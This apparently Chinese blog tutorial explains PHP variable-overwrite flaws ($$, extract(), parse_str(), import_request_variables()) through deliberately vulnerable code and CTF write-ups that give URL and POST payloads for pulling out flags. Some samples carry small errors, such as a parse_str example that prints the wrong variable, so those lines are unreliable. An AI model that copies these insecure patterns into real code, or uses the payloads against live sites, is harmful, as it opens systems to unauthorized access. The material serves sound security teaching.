关于变量覆盖漏洞

自定义的参数值替换原有变量值的情况称为变量覆盖漏洞

经常导致变量覆盖漏洞场景有:

  • $$使用不当
  • extract()函数使用不当
  • parse_str()函数使用不当
  • import_request_variables()使用不当,开启了全局变量注册等。

$$使用不当

$$介绍

$$这种写法称为可变变量 一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

<?php
$a = "hello";
echo "$a". '<br/>';              //输出hello
$$a="world";
echo "$a". '<br>';              //输出hello
echo "${$a}". '<br>';            //输出word
echo "$a ${$a}".'<br>';    //输出hello world
echo "$a $hello". '<br>';  //输出hello world
?>

漏洞产生

使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。

例子

<?php
foreach ($_GET as $key => $value) {
${$key} = $value;
}
echo $a;
?>

get得到的数据$key和$value,第3行的${$key}用get传进来的$key做为新的变量,将get传进来的$value赋值给它。 get ?a=1 第3行回解析为$a=1。就造成了变量覆盖。

漏洞重现

<?php
include "flag.php";                                              
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")      
    die("BugsBunnyCTF is here :...");
if ( !isset($_POST["flag"]) )             
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;                     

foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
else
{
    echo "This is your flag : ". "....".$flag . "<br>";
    die($_200);
}
?>

代码分析

由题可知,要输出flag得满足以下条件:

  • 得POST一个flag值
  • 通过修改后的$flag值===POST的flag

但是如果我们通过修改flag值以满足以上条件时,$flag已经不是原来的$flag,这时候我们可以利用die($_200);,把$flag存放到$_200中,然后输出

解题方法

构造payload:

  • url中:?_200=flag
  • POST:flag=a(任意值,或者为空也行)

此时:

foreach ($_GET as $key => $value)
    $$key = $$value; 

得到:$_200=$flag

foreach ($_POST as $key => $value)
    $$key = $value;

得到:$flag=a;

此时$_POST["flag"] === $flag,于是输出

This is your flag : ....
flag{aaaaaaaaaa}

extract()函数使用不当

extract()函数介绍

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

extract(array,extract_rules,prefix)
参数 描述
array 必需。规定要使用的数组。
extract_rules 可选。
prefix 可选。

具体可见这里

漏洞产生

在使用过程中,如果用户传进来的值是一个数组,或者由多个值,如果第二个参数为默认等情况下,就会将原本存在的变量覆盖,造成变量覆盖漏洞

从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖已有变量。

例子:

<?php
$a = 1;    //原变量值为1
$b = array('a' => '3');
extract($b);    //经过extract()函数对$b处理后
echo $a;    //输出结果为3
?>

漏洞重现

<?php
extract($_GET);
if(isset($bdctf))
{
$content=trim(file_get_contents($flag));
if($bdctf==$content)                             
{ echo'bdctf{**********}'; }
else
{ echo'这不是蓝盾的密码啊'; }
?>

代码分析

题目使用了extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,然后再进行两个if 的条件判断,所以可以使用GET提交参数和值,利用extract()对变量进行覆盖,从而满足$bdctf==$content

解题方法

构造payload:url ?flag=&bdctf=得到flag

parse_str()函数使用不当

parse_str()函数介绍

parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

语法

参数 描述
string 必需。规定要解析的字符串。
array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

例子:

<?php
$a = 1;                  //原变量值为1
parse_str('a=2');   //经过parse_str()函数后注册变量$a,重新赋值
print_r($b);          //输出结果为2
?>

漏洞重现

<?php
error_reporting(0);
if(
empty($_GET['id'])) {                    //empty()检查是否为空
show_source(__FILE__);            //highlight_file—语法高亮一个文件
die();                                          //等同于exit—输出一个消息并且退出当前脚本
} else {
include ('flag.php');
$a = "www.OPENCTF.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
} else {
exit('It is easy!');
}
}
?>

代码分析

只需$a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')即可输出flag

  • parse_str()实现变量覆盖
  • md5 collision满足条件

解题方法

结合md5 collision,可构造payload?id=a[0]=s878926199a

import_request_variables()使用不当

import_request_variables()函数介绍

import_request_variables() 函数将 GET/POST/Cookie 变量导入到全局作用域中。

版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.0

bool import_request_variables ( string $types [, string $prefix ] )

参数说明:

  • $types:指定需要导入的变量,可以用字母 G、P 和 C 分别表示 GET、POST 和 Cookie,这些字母不区分大小写,所以你可以使用 g 、 p 和 c 的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用 gp 时,POST 变量将使用相同的名字覆盖 GET 变量。任何 GPC 以外的字母都将被忽略。
  • $prefix: 变量名的前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为 userid 的 GET 变量,同时提供了 pref_ 作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。

例子

<?php
$auth='0';
import_request_variables('G');
if($auth== 1){
echo"private!";
}else{
echo"public!";
}
?>

get auth=1时,网页上会输出private!

参考链接

https://www.freebuf.com/column/150731.html

https://www.jianshu.com/p/a4d782e91852

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...